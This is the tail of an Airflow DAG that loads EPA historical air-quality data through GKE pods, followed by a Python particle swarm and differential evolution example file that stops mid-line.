"float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod rh_and_dp_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="rh_and_dp_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.rh_and_dp_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.rh_and_dp_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.rh_and_dp_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.rh_and_dp_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.rh_and_dp_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - rh_and_dp_hourly_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod so2_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="so2_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.so2_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.so2_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.so2_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.so2_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.so2_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - so2_daily_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod so2_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="so2_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.so2_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.so2_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.so2_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.so2_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.so2_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - so2_hourly_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod temperature_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="temperature_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.temperature_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.temperature_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.temperature_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.temperature_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.temperature_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - temperature_daily_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod temperature_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="temperature_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.temperature_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.temperature_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.temperature_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.temperature_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.temperature_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - temperature_hourly_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod voc_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="voc_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.voc_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.voc_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.voc_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.voc_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.voc_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - voc_daily_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod voc_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="voc_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.voc_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.voc_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.voc_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.voc_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.voc_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - voc_hourly_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod wind_daily_summary = kubernetes_engine.GKEStartPodOperator( task_id="wind_daily_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.wind_daily_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.wind_daily_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.wind_daily_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.wind_daily_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.wind_daily_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - wind_daily_summaries", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "sample_duration": "str",\n "pollutant_standard": "str", "date_local": "datetime64[ns]", "units_of_measure": "str", "event_type": "str", "observation_count": "int32",\n "observation_percent": "float64", "arithmetic_mean": "float64", "first_max_value": "float64", "first_max_hour": "int32", "aqi": "str",\n "method_code": "str", "method_name": "str", "local_site_name": "str", "address": "str", "state_name": "str",\n "county_name": "str", "city_name": "str", "cbsa_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "sample_duration",\n "pollutant_standard", "date_local", "units_of_measure", "event_type", "observation_count",\n "observation_percent", "arithmetic_mean", "first_max_value", "first_max_hour", "aqi",\n "method_code", "method_name", "local_site_name", "address", "state_name",\n "county_name", "city_name", "cbsa_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) # Run CSV transform within kubernetes pod wind_hourly_summary = kubernetes_engine.GKEStartPodOperator( task_id="wind_hourly_summary", startup_timeout_seconds=600, name="load_data", namespace="default", project_id="{{ var.value.gcp_project }}", location="us-central1-c", cluster_name="epa-hist-air-quality", image_pull_policy="Always", image="{{ var.json.epa_historical_air_quality.container_registry.run_csv_transform_kub }}", env_vars={ "SOURCE_URL": "{{ var.json.epa_historical_air_quality.wind_hourly_summary.source_url }}", "START_YEAR": "1990", "SOURCE_FILE": "files/data.csv", "PROJECT_ID": "{{ var.value.gcp_project }}", "DATASET_ID": "{{ var.json.epa_historical_air_quality.dataset_id }}", "TABLE_ID": "{{ var.json.epa_historical_air_quality.wind_hourly_summary.table_id }}", "YEAR_FIELD_NAME": "date_local", "YEAR_FIELD_TYPE": "DATETIME", "SCHEMA_PATH": "{{ var.json.epa_historical_air_quality.wind_hourly_summary.schema_path }}", "CHUNKSIZE": "{{ var.json.epa_historical_air_quality.wind_hourly_summary.chunk_size }}", "TARGET_GCS_BUCKET": "{{ var.value.composer_bucket }}", "TARGET_GCS_PATH": "{{ var.json.epa_historical_air_quality.wind_hourly_summary.target_gcs_path }}", "PIPELINE_NAME": "epa_historical_air_quality - wind_hourly_summary", "INPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', "DATA_DTYPES": '{ "state_code": "str", "county_code": "str", "site_num": "str", "parameter_code": "int32", "poc": "int32",\n "latitude": "float64", "longitude": "float64", "datum": "str", "parameter_name": "str", "date_local": "datetime64[ns]",\n "time_local": "str", "date_gmt": "datetime64[ns]", "time_gmt": "str", "sample_measurement": "float64", "units_of_measure": "str",\n "mdl": "float64", "uncertainty": "float64", "qualifier": "str", "method_type": "str", "method_code": "int32", "method_name": "str",\n "state_name": "str", "county_name": "str", "date_of_last_change": "datetime64[ns]" }', "OUTPUT_CSV_HEADERS": '[ "state_code", "county_code", "site_num", "parameter_code", "poc",\n "latitude", "longitude", "datum", "parameter_name", "date_local",\n "time_local", "date_gmt", "time_gmt", "sample_measurement", "units_of_measure",\n "mdl", "uncertainty", "qualifier", "method_type", "method_code", "method_name",\n "state_name", "county_name", "date_of_last_change" ]', }, resources={"request_ephemeral_storage": "16G", "request_cpu": "1"}, ) delete_cluster = kubernetes_engine.GKEDeleteClusterOperator( task_id="delete_cluster", project_id="{{ var.value.gcp_project }}", location="us-central1-c", name="epa-hist-air-quality", ) ( create_cluster >> [ annual_summaries, co_daily_summary, co_hourly_summary, hap_daily_summary, hap_hourly_summary, lead_daily_summary, no2_daily_summary, no2_hourly_summary, nonoxnoy_daily_summary, nonoxnoy_hourly_summary, ozone_daily_summary, ozone_hourly_summary, pm10_daily_summary, pm10_hourly_summary, pm25_frm_hourly_summary, pm25_nonfrm_daily_summary, pm25_nonfrm_hourly_summary, pm25_speciation_daily_summary, pm25_speciation_hourly_summary, pressure_daily_summary, pressure_hourly_summary, rh_and_dp_daily_summary, rh_and_dp_hourly_summary, so2_daily_summary, so2_hourly_summary, temperature_daily_summary, temperature_hourly_summary, voc_daily_summary, voc_hourly_summary, wind_daily_summary, wind_hourly_summary, ] >> delete_cluster )

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0

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1

0

1

0

null

0

8

774d0fef679794770ac8588e28df5cb8cc9749c4

3,980

py

Python

basic/fxy.py

rkneusel9/SwarmOptimization

5445b6f90ab49339ca0fdb71e98d44e6827c95a8

[ "MIT" ]

2

2022-01-11T17:14:14.000Z

2022-03-07T10:22:32.000Z

basic/fxy.py

rkneusel9/SwarmOptimization

5445b6f90ab49339ca0fdb71e98d44e6827c95a8

[ "MIT" ]

null

basic/fxy.py

rkneusel9/SwarmOptimization

5445b6f90ab49339ca0fdb71e98d44e6827c95a8

[ "MIT" ]

1

2021-11-24T01:11:49.000Z

# # file: fxy.py # # The basic example from Chapter 2. # # RTK, 03-Mar-2020 # Last update: 03-Mar-2020 # ################################################################ import sys sys.path.append("../") import numpy as np from PSO import * from DE import * from LinearInertia import * from Bounds import * from RandomInitializer import * class Objective: def Evaluate(self, pos): return pos[0]*pos[1] # PSO with clipping npart = 10 ndim = 2 m = 100 tol = 1e-4 b = Bounds([0.01,0.01], [1,1]) i = RandomInitializer(npart, ndim, bounds=b) swarm = PSO(obj=Objective(), npart=npart, ndim=ndim, init=i, tol=tol, max_iter=m, bounds=b, inertia=LinearInertia()) swarm.Optimize() res = swarm.Results() x,y = res["gpos"][-1] g = res["gbest"][-1] print() print("PSO: npart, m = %d, %d (clip)" % (npart, m)) print(" f(%0.8f, %0.8f) = %0.8f" % (x,y,g)) print(" (%d swarm best updates, %d iterations)" % (len(res["gbest"]), res["iterations"])) print() print("Swarm bests:") for i in range(len(res["gbest"])): print(" f(%0.8f, %0.8f) = %0.8f" % (res["gpos"][i][0], res["gpos"][i][1], res["gbest"][i])) print() print() # PSO with resampling m = 100 npart = 10 b = Bounds([0.01,0.01], [1,1], enforce="resample") i = RandomInitializer(npart, ndim, bounds=b) swarm = PSO(obj=Objective(), npart=npart, ndim=ndim, init=i, tol=tol, max_iter=m, bounds=b, inertia=LinearInertia()) swarm.Optimize() res = swarm.Results() x,y = res["gpos"][-1] g = res["gbest"][-1] print() print("PSO: npart, m = %d, %d (resample)" % (npart, m)) print(" f(%0.8f, %0.8f) = %0.8f" % (x,y,g)) print(" (%d swarm best updates, %d iterations)" % (len(res["gbest"]), res["iterations"])) print() print("Swarm bests:") for i in range(len(res["gbest"])): print(" f(%0.8f, %0.8f) = %0.8f" % (res["gpos"][i][0], res["gpos"][i][1], res["gbest"][i])) print() print() m = 1000 npart = 10 b = Bounds([0.01,0.01], [1,1], enforce="resample") i = RandomInitializer(npart, ndim, bounds=b) swarm = PSO(obj=Objective(), npart=npart, ndim=ndim, init=i, tol=tol, max_iter=m, bounds=b, inertia=LinearInertia()) swarm.Optimize() res = swarm.Results() x,y = res["gpos"][-1] g = res["gbest"][-1] print() print("PSO: npart, m = %d, %d (resample)" % (npart, m)) print(" f(%0.8f, %0.8f) = %0.8f" % (x,y,g)) print(" (%d swarm best updates, %d iterations)" % (len(res["gbest"]), res["iterations"])) print() print("Swarm bests:") for i in range(len(res["gbest"])): print(" f(%0.8f, %0.8f) = %0.8f" % (res["gpos"][i][0], res["gpos"][i][1], res["gbest"][i])) print() print() m = 100 npart = 100 b = Bounds([0.01,0.01], [1,1], enforce="resample") i = RandomInitializer(npart, ndim, bounds=b) swarm = PSO(obj=Objective(), npart=npart, ndim=ndim, init=i, tol=tol, max_iter=m, bounds=b, inertia=LinearInertia()) swarm.Optimize() res = swarm.Results() x,y = res["gpos"][-1] g = res["gbest"][-1] print() print("PSO: npart, m = %d, %d (resample)" % (npart, m)) print(" f(%0.8f, %0.8f) = %0.8f" % (x,y,g)) print(" (%d swarm best updates, %d iterations)" % (len(res["gbest"]), res["iterations"])) print() print("Swarm bests:") for i in range(len(res["gbest"])): print(" f(%0.8f, %0.8f) = %0.8f" % (res["gpos"][i][0], res["gpos"][i][1], res["gbest"][i])) print() print() # differential evolution & resampling m = 100 npart = 10 b = Bounds([0.01,0.01], [1,1], enforce="resample") i = RandomInitializer(npart, ndim, bounds=b) swarm = DE(obj=Objective(), npart=npart, ndim=ndim, init=i, tol=tol, max_iter=m, bounds=b) swarm.Optimize() res = swarm.Results() x,y = res["gpos"][-1] g = res["gbest"][-1] print() print("DE: npart, m = %d, %d (resample)" % (npart, m)) print(" f(%0.8f, %0.8f) = %0.8f" % (x,y,g)) print(" (%d swarm best updates, %d iterations)" % (len(res["gbest"]), res["iterations"])) print() print("Swarm bests:") for i in range(len(res["gbest"])): print(" f(%0.8f, %0.8f) = %0.8f" % (res["gpos"][i][0], res["gpos"][i][1], 